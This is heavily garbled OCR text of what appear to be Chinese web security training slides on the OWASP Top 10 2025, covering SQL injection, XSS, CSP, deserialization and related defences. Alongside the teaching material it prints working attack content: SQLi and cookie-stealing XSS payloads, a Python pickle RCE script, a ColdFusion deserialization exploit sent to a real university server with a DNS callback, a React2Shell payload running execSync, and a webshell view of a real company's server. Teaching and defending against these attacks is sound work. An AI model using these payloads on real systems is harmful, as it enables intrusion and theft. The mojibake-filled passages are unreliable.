rERR HrEn fiEss iEEE 2

90/2/20 AR EAX

89001 06-2591941 A " BREE 75
90227 . REE/) FAX T 80
89002 062501041 e RREE 48
9012121 EREFEE—H% ZEEs WEE - 60
89003 CEDTEENS 2567384120 i (BEF  pmes 55
901222 EERELSEEE_B% ZEE= MEE 2o 60
3004 TEEDTEENE 2567384120 XA (BEF  Lame 33
%0224 BEETFETFERS EFEEC NN o 50
89005 ETE+EENS 2818796 RAR @®EP goms 10
90220 ZSEBEZETE BPE)REE o o 48
89006 EBED  EENS 2377905 = BREES 42
90/3/7 =—8F |- EE XEE) = VA 60
89007 wRE/eEs 3584371 NE-R B BREE 39
90221 SEEBEHFTE Rl MR o - 35
9008  wRE EENE sga371  ROmE BN e 3
90/2/20 B - AR SR o o 40
89009 EFE/|EENE 2912931-511 ; s BREE 45
0221 BEEEISCEFESE_#% NEL SR oo o 42
89010 BF@|EENS 2912931511 | e BRAEE 37

12345678910...
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https://zeroday.hitcon.org/api/vulnerability/11173/attachments/4f71e7ecf65ab4e0d52ecf2289dacdco ¢
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CVE-2025-46337 (1/3)

Bi5ElE! PHPIEIUEADOIb{FEiRT M
i, 280 ECHESRATRE

Severity
10.0 /10
CV5S v3 base metrics
—MERSFUTAS  BAREENEASLEA AN SRS F2MoodleMBHECRM » 1527 SQUEAR Attack vector L
B EREREET205EELAMNPHPENEMZERIEADOML LR TBSEENELTRR CiEThErTrE Low
3/ BRERA | 2025-05-05 #= 23 Privileges required None
ADOdb PHP Library @ADOdb announce - 581H User interaction
&$¥ ADOdb Version 5.22.9 released Scope
See Changelog
ADOdb is a Pl

None

Confidentiality
1Iatapast i
'I.- (

Changed
apst

High
Integrity High
Availability

R R

89

Low

ADOdbZ2EZPIRIPHPE R EMZE » Bzt —EFH—MAPINTE » EREASSLFIFAER
PostgreSQLEEEN 2=,

'

DB2 KSybase 5 &l E » MERATEIRAICVE-2025-46337 2 ESQLE AR » HIRFEADOdbIZE = ER

CVSS:3.1/AVIN/ACL/PRIN/UEN/S:C/C:H/H/ AL

BASS 2 AR
 FHERMySQL -~ PostgreSQL ~ SQLite ~ Oracle ~ Microsoft SQL Server » IBM
ATERERTEESQLES




pg_insert id(%$tablename,$fieldname)

$result=pg_query -> connectionID, ' ast_value ‘. $tablename .' '. $fieldname
if ($result

$arr = @pg_fetch _row($result,0);

pe_free result($result);

if (isset($arr[@])) return $arr[@];

return




pg_insert_id($tablename, $fieldname)

$sequence = pg_escape_identifier ->_connectionID, $tablename .'_ '. $fieldname .'_
$result = pg_query ->_connectionID, ' last_value ". $sequence);
if ($result

$arr = @pg_fetch_row($result,o);

pg_free_result($result);

if (isset($arr[@])) return $arr[e];

return

https://www.php.net/manual/en/function.pg-escape-identifier.php

91
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#2. SQL injection [7&

 Use Parameterized Statements (28L& )

function prepareQueryDB($user,$pass)

{
global $pdo;

$stmt = $pdo->prepare('SELECT * FROM members WHERE
user = ? AND pass = ?');

$stmt->execute([$user, $pass));

return $stmt->rowCount();

}

92
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Web Security Training

Account:

‘or 1=1---

Password

SELECT user,pass FROM members WHERE user=" or 1=1-- -' AND pass='any'

53% (string concatenation)

SELECT * FEOM members WHERE wu

SELECT * FROM members WHERE u

AND

EANFEB
‘or 1=1-- -

‘ & lin & 1} /B
‘or 1=1-- -

WA SHRREMEA (SQLI)




&5 (prepared statement)

Web Security Training AANF S
‘or 1=1-- -

Account:

\ AT

Password \'or 1=1-- -

SELECT user,pass FROM members WHERE user=" or 1=1-- -' AND pass='any'

SELECT *# FROM members WHERE u

er 7 AND
SELECT * FROM members WHERE user

5
5 L] '|II n

or




=

=
%

£ SQL injection FHETET

>Defense in Depth (%4t %&FHE

i AJF1E (input sanitization)

B A 258 (input validation)

L EEE58 (prepared statement)

B /\#E R /R Al (Principle of Least Privilege)

53 WAF (Web Application Firewall) F5z&
}£\$E_tn2n+&ﬁiﬁ§x (SSDLC)
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=77 %H

* Reflected XSS (i%ﬁﬂ)
« IFBIEFEFNERE - ZHAEK3EZF(Render)# - IIBN#E 45 R R ClH H & In

* Server-Side injection
* Non-Persistent XSS

* Stored XSS (EFH)
« EIVIEMRBITH] - EMHBEEREAMZEREF - AIFIEEEE ZNAILE SR

* Server-Side injection
* Persistent XSS

* DOM-based XSS (DOMZ!)

« HEIZSRREFILANIT
- (EFIDOM APl EABEAA

* Client-side injection

96




ei%jﬂ XSS =f

http://www.Bitheal.com.tw/about.phpid=3 A AID2#E
id {EfF(E xss \

Xss payload : "><script>alert(document.cookie)</script>

@ www.renji-heal.com.tw

PHPSESSID=27a4dko56lqr3qdsgvbuukngk?2

97
https://zeroday.hitcon.org/vulnerability/ZD-2021-00778




Attacker sends XSS payload Victim views XSS payl

DB
a a
- 5
oad

~

Victims Web Browser
executes XSS Payload

Attackers Web
Browser the XSS payload

Web Application stores

98 https://www.aptive.co.uk/blog/xss-cross-site-scripting/




Stored) XSS %44

:I:
rability/ZD-2021-00691

* https://zeroday.hitcon.org/vul
#,47Javascript

2 \1:71” E&s G EEEDE%’%%&XSS

BEREESER
S EERE - 38
N —
ye —
”51&1"{7:? ‘\:Fﬁ% A T2 tw/message-detail.php?seqno=571
A 1R S5t/ ( (Kﬁﬁ%’%éé) g
m  www.tkdoor.com.tw 81 -
| _9a=GA1.34179587.1631539821; message shopping
_gid=GA1.3.576469948.1631539821; ' 3 | =
|  PHPSESSID=5df74b20e01242a8367bf68449cebebd; _gat=1 E=ﬁ ﬁnnﬁ{l
|
<img src="#" onerror="alert m [ERS1R]
HEOBLOE -8 T-®

B. FZEREHN
CRY B YE
k'DiJﬂﬁ”Mﬁ -

2|%H :2021-09-14

BEA:RFEE
r—&

REOREE

BEFHE: [ "#
BEA: [Bx= |

BEAE |<img src="#" gnerror="alert(document.cookie)"> |

XSSFRAREFREREH

b ¢ © smEa

g ‘Zbcc

EBAGNBE

sE= ‘
H

l EEEE H EEE
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LLIE§

€22 (1/5)

Output Encoding (& & Bl ST B AR )

<div class="comment">
<script>alert("XSS")</script>

Character Entity Encoding </div>
" &quot;
& &amp; l
| &apos; <div class="comment">
< &lt; &lt;script&gt;alert(&quot; XSS&quot;)&lt;/script&gt;
S &gt: </div> )
100
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2% (2/5)
#E17F1E (sanitization)

DOMPurifyE &£ FH & i A F BIETTF
https //github.com/cure53/DOMPurify

DOMPurify > {i&F3 &

ARl AR > ARIZ R RELR DOMPurify EREBIER -

WA DOMPurify BE %R

https://letswritetw.github.io/letswrite-dompurify/
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S35+alh:E2% (3/5)

=2 TE HitpOnly & 14

- Cookieax &
. #7,% 2 JavaScriptzE EX Cookie &
. 527 CSP, Content Security Policy (ABZ £ IR

102

%&fﬂ%ﬁ‘ﬁ%ﬁ’]header
AR EFEFEE &AL AR (Origin) ol 2 5 1E

B4 OO




. https://content-security-policy.com/

K
—y

Content Security Policy

Request:
http://example.com/assets/js/file.js

Request:
http://example.com/assets/css/file.css

Request: (blocked:csp)
http://malicious.com/assets/js/xss.js

— e
—».

Content-Scurity-Policy:
default-src http://www.example.com <+—

T

Content Security Policy evaluates and blocks requests for assets

default-src: FRIEFIMEE -

SRR

(BB R -~ JS - CSS - iframe « FHIE)

103

=1 2K B [EIR (self) (O E TR 3 A
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https://content-security-policy.com/
https://content-security-policy.com/
https://content-security-policy.com/
https://content-security-policy.com/
https://content-security-policy.com/
https://content-security-policy.com/
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SSE5ELRH
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=
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CSPEAEE A

Hacktivity Directory Inbox Hacker Dashboard Program Dashboard Settings
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Submit Vulnerability Report

You're about to submit a report to "'><script src=x /><img src=x onerror=prompt" *>. Provide as much information as possible about the potential
issue you have discovered. The more information you provide, the quicker "'><script src=x /><img src=x onerror=prompt " "> will be able to validate
the issue. If you haven't yet, please remember to review our Security Page.

o Asset Showing: All Types ~ | Type to search
« "><img src="assert" onerror="prompt" "> (Other)
Select the attack surface of this issue. Other « Critical « Eligible for bounty

#WCSPFrEYE

Currently selected: (Deselect)

"&gt;<img src="assert" onerror="prompt" "> (Other)

Special instructions:
"[><img src=instructions onerror=confirm" ">

[w ﬂ Elements Console Sources Network Performance Memory Application Security Audits 03 A1 ¢ X
P © @ top v | ® | Filter Default levels ¥ o *
© » GET https://hackerone.com/script src_x_img_src_x onerror/reports/assert 404 assert:1

@ »Refused to execute inline event handler because it violates the following Content Security Policy directive: "script-src 'self' www.google-analytics.com". Either the 'unsafe-inline’ new:1

keyword, a hash ('sha256-...'), or a nonce ('nonce-...') is required to enable inline execution.

» Cross-0rigin Read Blocking (CORB) blocked cross-origin response https://errors.hackerone.net/api/30/csp-report/?sentry key=61cle2f.. with MIME type text/html. See https://www.chromestatus.com/fea
ture/5629709824032768 for more details.
>

Source: https://hackerone.com/reports/449351
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hfhE 2% (5/5)

* CSP s EAIEAE - 11 O Be AR #4548 [l Bag

105

e {Nlunsafe-inline
B CSPELXE

* https://csp-evaluator.withgoogle.com/

Content Security Policy

nten ecurity-Policy: script-

Sample unsafe policy ~Sample safe policy

src ‘self’ ‘'unsafe-inline' ;

[CSP Version 3 (nonce based + backward compatibility checks) v | @

CHECK CS|

expand/collapse all

Evaluated CSP as seen by a browser supporting CSP Version 3

@ script-src

v 'self'
© ‘'unsafe-inline'

@ object-src [missing]

@ require-trusted-types-for [missing]

Legend

@ High severity finding
Medium severity finding
@ Possible high severity finding

Host whitelists can frequently be bypassed. Consider using 'strict-dynamic' in combination with CSP
nonces or hashes.

'unsafe-inline’ allows the execution of unsafe in-page scripts and event handlers

Missing object-src allows the injection of plugins which can execute JavaScript. Can you set it to
'none'?

Consider requiring Trusted Types for scripts to lock down DOM XSS injection sinks. You can do this by
adding "require-trusted-types-for 'script" to your policy.




L\

SSILLRHES

O DO localhost

|I||T

\

@ localhost:8000

1

BERBOGER

106

ZEZ 5| (Html Encoding)

Search Result:<script=alert(1)</script=

&3 4 A ST filhtml encoding




T

{£ FFDOMPurifyE 1

& XSSHUEER
\
2 FDompurify Ef+Ra8

DOM-XSS {EFF

RIAIEFZF&: <img src=x onerror=alert()>

Dompurify E{Fi8;E1&: <img src="x">
Search Result: |
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Ok

SEES1NaE-

@ localhost:8000

SESSIONID=bC4g0I5fb

'qCFO8kjuhnB

Mame Value Domain Path

SESSIONID | bC4gOIsfCEY...

52 € HttpOnly header

Expires / Max-Age

localhost fuss Session

108

Size

36

IE‘ L}

=

| (HttpOnly

@ O

Y localhost

@ localhost:8000

HTTF'G‘F'I['{ Secure Name Value Domain Path Expires | Max-Age Size | HttpOnly

SESSIONID | DC4q0I5fbCZVqCFO8kjuhnBBjSY localhost fxss Session 36 true

false false

52 7€ HttpOnly header




AR
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O D localhost

T

@

@ localhost:8000

1

R&ag E CSPARA|

109

O [ localhost

ecurity: CSP Set

&« (]

Web S
|

‘ Search

Search Result:

s E CSPRRI




AO6 2025 —A~ZZ2 55T (Insecure Design)

° J%\ _ifi_bnxn'l'ﬁ;lﬁﬁ/ﬁ /E*ﬁEjE/ﬂ@,B@
- O ¥ fECWE?IZR

« CWE-209 Generation of Error Message Containing Sensitive
Information

« CWE-434 Unrestricted Upload of File with Dangerous Type

« Example

__|-J:1—J'/l_;\ = %ET
« CVE-2023-50164

110

Source: https://owasp.org/Top10/2025/A06_2025-Insecure_Design/



270

 https://zeroday.hitcon.org/vulnerability/ZD-2021-00427

AntSword ®E =50 BL
= * . = (260.249.45.206
BEEEY O@RENTa ‘
O 873 (13) < Dxpik (13) ]
. s =50 Cf Oz ~ 4LE CHhiFF #AXER MABE ~  Clwork > iRE
O gfe/8Rms = P work
B E48 K Bt
+ Il crm.brita.tw

O ar 2019-08-20 07:51:22 0b 16

() Fwokzg = W A
e 7KER%$EE B Forlive O ForLive 2018-08-23 23:00:10 0b 16
B backend.brita-taiwan.com (O backend.brita-taiwan.com 2020-11-27 00:31:58 0b 16
O HE B crmbritatw.brita-taiwan.com | (O crm.brita.tw 2019-09-16 11:32:04 0b 16
o Il datebase D crmbritatw.brita-taiwan.com 2018-10-24 17:48:50 ob 16
B file.brita-taiwan.com [ datebase 2021-07-14 09:40:19 ob 16
T B iislog [ file.brita-taiwan.com 2019-11-21 13:13:14 ob 16

Ra i = B mkt.brita-taiwan.com

< A H A _ 0O iislog 2018-12-19 14:09:52 0b 16

ss
kt.brita-taiwan. 2018-12-19 14:09:04 0b 16

. . . W stg-backend.brita-taiwan.com © mkt brita-taiwan.com

0 =1 REHR LS B stg-crmbrita-taiwan.com 0O sl 2020-07-29 10:44:27 0b 16
M stg-event.brita-taiwan.com [ stg-backend.brita-taiwan.com 2020-09-12 10:19:43 0b 16
m D/ [0 stg-crm.brita-taiwan.com 2018-12-19 14:57:29 0b 16
e/ 3 stg-event.brita-taiwan.com 2018-11-19 12:29:16 ob 16
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mona < % (Authentication Failures)

TS EREE D KEEE ( Session ) FHIZ 4 GR[E
- REFR NN EMBEEERE 5
o MAMNZRHEERE

» TJ¥ FECWEFIZ '@
e CWE-259 Use of Hard-coded Password I'mAlice )
* CWE-287 Improper Authentication
e CWE-384 Session Fixation
. EABHISession IDi—1x e
. Example R
o FREEMLE IR TS R, -
« CVE-2023-35078

Product

Hello, Alice. Here's
your private data..

112

Source: https://owasp.org/Top10/2025/A07_2025-Authentication_Failures/



@ 2Bl (1/2)

* https://www.rapid7.com/db/vulnerabilities/zoho-corp-manageengine-servicedesk-plus-
cve-2021-37415/

Zoho Corp ManageEngine ServiceDesk Plus: CVE-2021-37415:
Authentication bypass vulnerability in rest API urls

Severity CvVss Published Created Added Modified
9 (AV:N/AC:L/Au:N/C:P/1:P/A:P) 06/27/2021 03/14/2022 03/10/2022 05/03/2022
Description

Zoho ManageEngine ServiceDesk Plus before 11302 is vulnerable to authentication bypass that allows a few
REST-API URLs without authentication.
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w82 (2/2)

i3

* https://zh-tw.tenable.com/plugins/nessus/271956

114

ProjectSend < r1720 5:8 %38 (CVE-2024-11680)
Nessus Plugin ID 271956

= I =3 i oy s 1=

T E=2
ERABERE FHTH Web EERA T —ER2EBBLYE -
= AR

B A E AR HIB(ER ProjectSend RTINS IR RSB HLYE :

- b r1720 EBR1 ProjectSend R ESE|—EFERE RS E - REBENERIEES o EER BILERE
BEESHHTTP K X options.php » EMERASFEFENER FEXNERERNRTE - SHEFHESE  E
Zo[LIEZEIIEE - & webshell 18 E = JavaScript * (CVE-2024-11680)




¥ e RH=(EIREEProjectSendFEEKXRE
7|E.|, E?&ﬁiﬁ@%ﬂﬁlﬁlaﬁib

EZZEFEVINCheckiBE—FRIERHNEARECVE-2024-11680 ! CIE i FERAREREZ AR
ProjectSend » BERBRZHBAS » AP EHAZUARZEFERMER

s

Explore Downloads Pricing & titie }in & 0; 2nVsqpahM2JIULBOKKMHZg2JMXt Q Account

208

Partner Spotlight: Looking for a Splunk alternative to store all the Shodan data? Check out

Log in &raquo; 2nVsqpahM2JIULBOK|4H292JMXb
) SSL

"71 -

United States

Germany

United Kingdom

France

115 Source: https://www.ithome.com.tw/news/166258




A08 2025 —ERAE S B R TR MR
.(Software or Data Integrity Failures)

« FEIUAS S BB IRIB R BE R & BT :“/HZ*%‘ 14 52 2 B 152
RS R SR AB oY R B L B — (B R E TR R h S B R R R

2R FSIE
. ERRELEERERTSEMAOR - B ERNEIEREE M &
3RSy AR

- OJ¥ECWEJIZR
« CWE-502 Deserialization of Untrusted Data

« Example

- 25t (Deserialization)
« React2Shell (CVE-2025-55182)

116

Source: https://owasp.org/Top10/2025/A08 2025-Software_or_Data_Integrity Failures/
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% %1{E55%4 (Deserialization)

oML
- RPN ER B O RFR O EEAIINET

Python 5111
- BiBpickle=AELK T B

oML

>>> import pickle
>>> pickle.dumps(['test','123'])
b'\x80\x04\x95\x12\x00\x00\x00\x00\x00\x00\x00]\x94(\x8c\x04test\x94\x8c\x03123\x9%%e."

751

>>> import pickle
>>> pickle.loads(b'\x80\x04\x95\x12\x00\x00\x00\x00\x00\x00\x00]\x94(\x8c\x04test\x94\x8c\x03123\x9%%4e.")

['test', '"123']




>

2 7515552, Demo (1/2)

# Flask Pickle vulnerable app example using POST method

import pickle
import base64
from flask import Flask, request

app = Flask(__name_ )

@app.route("/vulnerable", methods=["POST"])

def vulnerable():
data = base64.urlsafe _b64decode(request.form['pickled’])
pickle.loads(data)
return ", 204

118
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% %11559%0 Demo (2/2)

import pickle
import base64
import requests
import sys

class PickleRCE(object):
def _ reduce__ (self):
import os
return (os.system,(command,))

default_url = 'http://127.0.0.1:5000/vulnerable'
url = sys.argv[1] if len(sys.argv) > 1 else default_url
command = 'touch /tmp/test’ # Command to be executed

pickled = 'pickled" # This is the POST parameter of our vulnerable Flask app
payload = base64.b64encode(pickle.dumps(PickleRCE())) # Crafting Payload
requests.post(url, data={pickled: payload}) # Sending POST request




. https://zeroday.hitcon.org/vulnerability/ZD-ZO1 8-01326

# java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutilsl |'nslookup hello-nou. | poc.ser
WARNING: An 111ega1 reflective access operation has occurred
WARNING: Illegal reflective access by ysoserial.payloads.util.Reflections (file:/root/ysoserial/ysoserial.jar) to field com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl._bytecodes
WARNING: Please consider reporting this to the maintainers of ysoserial.payloads.util.Reflections
WARNING: Use --1llegal-access=warn to enable warnings of further 1llegal reflective access operations
WARNING : ALl 111egal access_operations will be denied in a future release
# curl http://info.nou.edu.tw/flex2gateway/amf -v -H 'Content-Type: application/x-amf' -X POST --data-binary '@poc.ser’
Note: Unnecessary use of -X or --request, PUST 1s already inferred.
* Trying 192.192.51.209...
TCP_NODELAY set
Connected to info.nou.edu.tw (192.192.51.209) port 80 (#0)
POST /flex2gateway/amf HTTP/1.1
Host: info.nou.edu.tw
User-Agent: curl/7.60.0
Accept: */*
Content-Type: application/x-amf
Content-Length: 2865
Expect: 100-continue

HTTP/1.1 100 Continue

We are completely uploaded and fine
HTTP/1.1 200 0K

Cache-Control: no-cache

Pragma: no-cache

Content-Length: 462

Content-Type: application/x-amf
Expires: Sat, 25 Dec 1999 00:00:00 GMT
Server: Microsoft-I1IS/7.5

Set-Cookie: JSESSIONID=6A02AC23FD7686FA4SBCBO27283E60E1.cfusion; Path=/; HttpOnly
X-Powered-By: ASP.NET

Date: Mon, 10 Sep 2018 16:23:40 GMT

*
*
>
>
>
>
>
>
>
>
<
*
<
<
<
<
<
<
B
<
<
<

3

Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.

* Failed writing body (0 != 462)

* stopped the pause stream!

* Closing connection ©




5590 2 0l (2/2)

tCHIN: -# tcpdump -lvi any "udp port 53"
tcpdump: listening on any, link-type LINUX SLL (Linux cooked), capture size 262144 bytes
16:23:52.620997 IP (tos Ox0, ttl 64, 1d 32612, offset O, flags [DF], proto UDP (17), length
.domain: 18166+ A? info.nou.edu.tw. (33)
16:23:52.621642 IP (tos Ox0, ttl 64, 1d 32613, offset ©, flags [DF], proto UDP (17), length
.domain: 38921+ PTR? .in-addr.arpa. (42)
16:23:52.621675 IP (tos Ox0, ttl 64, 1d 32614, offset O, flags [DF], proto UDP (17), length
.domain: 58367+ AAAA? info.nou.edu.tw. (33)
16:23:52.622144 IP (tos Ox0, ttl 61, 1d 19825, offset O, flags [DF], proto UDP (17), length
.39678: 58367 0/1/0 (82)
16:23:52.622318 IP (tos Ox0, ttl 61, id 19826, offset ©, flags [DF], proto UDP (17), length
.35682: 38921 NXDomain 0/1/0 (109)
16:23:52.622421 IP (tos ©0x0, ttl 64, id 32615, offset @, flags [DF], proto UDP (17), length
.domain: 55128+ PTR? 12.162.97.209.1n-addr.arpa. (44)
16:23:52.622940 IP (tos Ox0, ttl 61, id 19827, offset O, flags [DF], proto UDP (17), length
.41917: 55128 NXDomain 6/1/6 (111)
16:23:52.867507 IP (tos 6x0, ttl 61, i1d 19880, offset 0, fl
.39678: 18166 1/6/0 1
16:23:53.890112 IP (tos Ox0, ttl 50, 1d 57391, offset 0, fl
dsl.nou.edu.tw.61182 > .domain: 2402 [lau] A? hello-nou. | (48)
16:23:53.890341 IP (tos ox0, ttl 64, 1d 32620, offset 0, flags [DFJ, proto UDP (17), length 73)
.domain: 13498+ PTR? 137.51.192.192.1in-addr.arpa. (45)
16:23:54.257068 IP (tos Ox0, ttl 49, 1d 57392, offset 0, flags [none]l, proto UDP (17), length 76)
dsl.nou.edu.tw.22322 > .domain: 30407 [lau] AAAA? hello-nou. . (48)
16:23:56.136796 IP (tos O0x0, ttl 61, 1d 20441, offset 0, flags [DF], proto UDP (17), length 101)
.domain > 44826: 13498 1/6/60 137.51.192.192.1in-addr.arpa. PTR dsl.nou.edu.tw.

RINVAITIE=
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5 React2Shell (CVE-2025-55182)

B2 ECFHReact2ShelliSEBELINEE, B
(e EEREVE RIS TN SRS

BREE BT —RReact2Shel HEFH » BEASUAT-10608EEEBLTE « R2FB700ERAEIAR
% =

/B AP - SSHEH » LIR

™ NEXUSLISTENER

B
344.9M8 18h 33m

122

Source: https://www.ithome.com.tw/news/174883




that frameworks and bundlers use to help React code run on both the client and the server. React translates
requests on the client into HTTP requests which are forwarded to a server. On the server, React translates the

HT TP request into a function call and returns the needed data to the client.

An unauthenticated attacker could craft a malicious HTTP request to any Server Function endpoint that, when

deserialized by React, achieves remote code execution on the server. Further details of the vulnerability will be

provided after the rollout of the fix is complete.

AZERIRFSIE

1 23 Source:https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server- A
components?fbclid=lwZXh0bgNhZWOCMTEAYnJpZBEXTWHSIhUZKOUNXZwbFR4anNydGMGY XBwX2IkDDI1Njl4MTAOMDU 10AABHgWv5BhKcPhGQmMK554nerx7WMgWr68YgcigBOuivxwrsLNFWCk6GQsNgbh4d 7
em_ZmFrZWR1bW15MTZieXRlcw /



CVE-2025-55182 5524 (2/3)

FESE:

CVE-2025-55182 B—BAE AR EAI=ZIRFIZ TLAEHITHRMAE (CVSS 10.0) » FRE Reactjs » Next.js FABRAEZLE
i FAEY React Server Components #8252 2 (FA2RILL TaRBARENS 2 EMEIRRUH A ) -
o REZMIRRIEE S E—E HTTP FERRERE A RFELS o
& Next,js (15.0.5+ » 15.1.9+ » 15.2.6+ » 15.3.6+ ~ 15.4.8+ » 15.5.7+ B 16.0.7+)
e React (19.0.1+ ~ 19.1.2+ 2 19.2.1+)
o EREEIEMER - B5BEIAESH Server Functions (fRAR2SE) » A BAFE WAF #RAI -
< EHEMIBERE | BEME - OFHE - ZRIE  LIEREBPEEEEHPEIIREE -
o BHIETEEA React.js 19.x 2 Next.js 15.%/16.x BIE 2T BDANLLIEIE -

EEFREZFTLUERIGRE » FMEREREEER | BEETREETAGSE 1 T EEFEEEHIERFERER
#regEh - Q&R -"-“%%FI’\]%?% HTTP POST 3 ‘REIJ Server Functions lnghFt B LUAE B =6 R2E o

124

Source:https://www.trendmicro.com/zh_tw/research/25/|/critical-react-server-components-vulnerability.html




125

Next.jsBIEAppRouterfEz2 fRFHRSCM#H E =R » FERAEIZ15.x816.x » LU
F14.3.0-canary.77 R Z#&RKICanaryhi & - ReactZNext.jsE DR B AR
EEE  ESREHERRAEEREE LARIIETEZE/MRE - Wiz EAE
123 » Llcreate-next-appiEfEsRE0 E R ERINext sFEFR » EAREFAIAOISE I
=

A SRR Next.js » (AT BlReactEARBIRTTHEENERR TE  ESEE
ReactBE BB Z A F E 1 EHFReact Router RSCIEEINEE - Waku - Parcel RSCHH
£ - Vite RSCH EEUF RedwoodSDKES -

Source:https://www.trendmicro.com/zh_tw/research/25/|/critical-react-server-components-vulnerability.html




Request

o

mE

Raw Hex

POST / HITR/L.1

Host: 192,168, 208,155 3000

User-Agent: Mozilla/S.0 iWindows NT 10.0; Wingd; x&4)
AppleWebk1it /537.36 (KHTML, like Gecko) Chrome/&0.0.3112.113
Safari/537.36 Assetnotes/1.0.0

Mext-Action: x

¥-Nextjs-Request-Id: bSdcegss

Content -Type: multipart/form-data:
boundary=----WebKitFormBoundaryx8] 020Vc6SWP3Sad

7 X-Nextjs-Html-Request-Id: SSTM¥m7O0]_gOMcx&jpdt2

10
11
12
13

14

1&
17
18
15
20
21

Ll

24

& Content-Length: S380

------ WebkKitFormBoundaryx8) 020VcESWP3Sad
Content -Disposition: form-data; name="Q"

{"then":"$1:  proto__:then","status":"resolved _model","reason":-1
Stwalue" it {yUthend WU $BLIZTV Y, " response” i {" prefix":"process,
mainModule. require( 'child_process') execSync('gnome-calculator');
"t chunkst g0zt " formData":{"get":"$l:constructor:constructor"”

------ WebKitFormBoundaryx8j 02oVcaSWP3Sad

. Content-Disposition: form-data; name="1"

"$@e"
------ WebKitFormBoundaryx8j 0ZoVcaSWP3Sad
Content -Disposition: form-data; name="2"

------ WebKitFormBoundaryx8j 0Z2oVcaSWP3Sad- -

126

B2 Z8i
e

Response

my-app@®.1.0 dev
> next dev --turbopack

A Next.js 15.5.6 (Turbopack)
- Local http://localhost:3000
- Network: http://192.168.208.155:3000

Starting...
: Next.js now c
This information is us
You can learn more, in

Ready in 1537ms
O Compiling / ...
Compiled / in 5.2s
GET / in 5865ms
Cross origin reques|
Origins" in next.confi
Read more: https://nex
O Compiling /favicon.
Compiled /favicon.i
GET /favicon.ico?favi
GET /favicon.ico?favi
GET / in 309ms
POST / in 235339nm|
GET / in 235ms
GET /favicon.ico?favi
O Compiling /_not-fou

Compiled /_not-foun
GET /_next/webpack-hm|
GET / in 212ms
GET /favicon.ico?favicon.0b3bf43
GET / in 233ms
GET in 176ms

orltlge features.
like to participate in this anonymous program, by

next/* resource. In a future major version of Nexf

g/next-config-js/allowedDevOrigins




FA B S E R

 EZECEEHM AN - RA N BEERBEUSERF
« Auditable events, such as logins, failed logins, and high-value
transactions, are not logged.
» Logs of applications and APIls are not monitored for suspicious activity.

* The application cannot detect, escalate, or alert for active attacks in
real-time or near real-time

« OJ¥FECWES!ZR
« CWE-117: Improper Output Neutralization for Logs

« CWE-778 Insufficient Logging

« Example
« BAKBIZKRACEElOg
« CVE-2025-59476
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Source: https://owasp.org/Top10/2025/A09 _2025-Security Logging_and_Alerting_Failures/



T2 logE

JAXCVE-2008-4315 Detail
MODIFIED

This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which may result in further changes to
the information provided.

Description

tog-pegasus in OpenGroup Pegasus 2.7.0 on Red Hat Enterprise Linux (RHEL) 5, Fedora 9, and Fedora 10|does not log failed authentication
attempts|to the OpenPegasus CIM server, which makes it easier for remote attackers tofavoid detection of password guessing attacks.
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8 A10:2025 - REHREEFY
(M'Sha”dl'ng of Exceptional Conditions)

« FEH =FEHE - BRI R ML EAS ENERIBIRE
e
* Send a crafted request to an unexpected destination

. E)Ar\c();cﬁg‘,ted by a firewall, VPN, or another type of network access control list

* T%]LWCWE@J?,E

CWE =209 QG)%neratlon of Error Message Containing Sensitive Information (&
ER2HEES

. CWE 248: Uncaught Exception
* CWE-636 Not Failing Securely (‘Failing Open')
* Example

* CVE-2023-41151
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Source: https://owasp.org/Top10/2025/A10_2025-Mishandling_of Exceptional_Conditions/



(i view-source:https./Awww.fnp.gov.tw/mobile/Contact_map.php?area=B000 wee b mw oo & co =

=br /=

el
<b-Warning</b>:  include_oncel../NPBU_5/Web/Syeten.cte) [<a href="function.include-once »tunction.include-once<fa>]: falled to open stream: No such file or director
<b>Warning</b=: include_once() [<a href="function.include'>function.include</a=]: Failed opening '../NFBO_S/Web/Syeten.cfg' for inclusion (include_path="'.:/uar/fsha

- =
<html lang="zh-tw">
<head>
zmeta http-equiv="Content-Type" content="text/html; charset=utf-3"=
<meta name="Accezgible_webzite" content="FiEviEibi+ SifmanEE " /-
<meta name="DC.Title" content="HYEIEIEFTEZTENE } £ERMBEENEEEH" /-
<meta name="DC.Creator" content="HFEEEHEIEE" />
<meta name="DC.3ubject" content="HIErEEFHIEZTERE } 2ERMEENEEEEN" /-
<meta name="DIC.Dezcription" content="HfErEIEBHESZTER } £ERMBEMNEESH" /»
<meta name="DC.Contributer" content="HfErEIEHBHES" />
zmeta name="0C.Type" content="text/htul" /=
zmeta name="IC.Fornat" content="text" />
<meta name="DC.Scurce" content="BfEiEIEHFEIESE" />
<meta name="DC.Langnage" content="Hzz" /=
zmeta name="0C. coverage.t.min" content="2019-03-18" /=
zmeta name="0C. coverage.t.max" content="2019-07-16" /=
<meta namne="DC.Publizher" content="BfErEiEEHEE" />
zmeta name="0IC.Date" content="2019-05-17" /=
<meta name="DIC.Identifier" content="3070600000" /=
<meta name="DC.Relation" content="£#" /=
<meta name="DC.Rights" content="HfErEiETHES" /=

zmeta name="Category.Thens" comtent="520" /= P

<meta name="Catezorv.Cake" content="4B0" /= <
zmeta name="Catepory.Service" content="I61" /=

zmeta name="Eeywords" content="" />

zmeta name="viewport" comtent="width=device-width, initial-gcale=1">

<title-+ZBE B EREESH - EFHESTEE-/tit]e- 9 ~
130 ;

Source: https://zeroday.hitcon.org/api/vulnerability/4039/attachments/7f021 750d66574680332ae6f32%’/



] (CVE-2023-41151

AXCVE-2023-41151 Detail
MODIFIED AFTER ENRICHMENT

This CVE record has been updated after NVD enrichment efforts were completed. Enrichment data supplied by the NVD may require
amendment due to these changes.

Description

An uncaught exception issue discovered in Softing OPC UA C++ SDK before 6.30 for Windows operating system may cause the application to
crash when the server wants to send an error packet, while socket is blocked on writing.

MetI'ICS CVSS Version 4.0 CVSS Version 3.x CVSS Version 2.0

NVD enrichment efforts reference publicly available information to associate vector strings. CVSS information contributed by other sources is also displayed.
CVSS 3.x Severity and Vector Strings:

@ NIST: NVD Base Score: |[EHiGH] Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

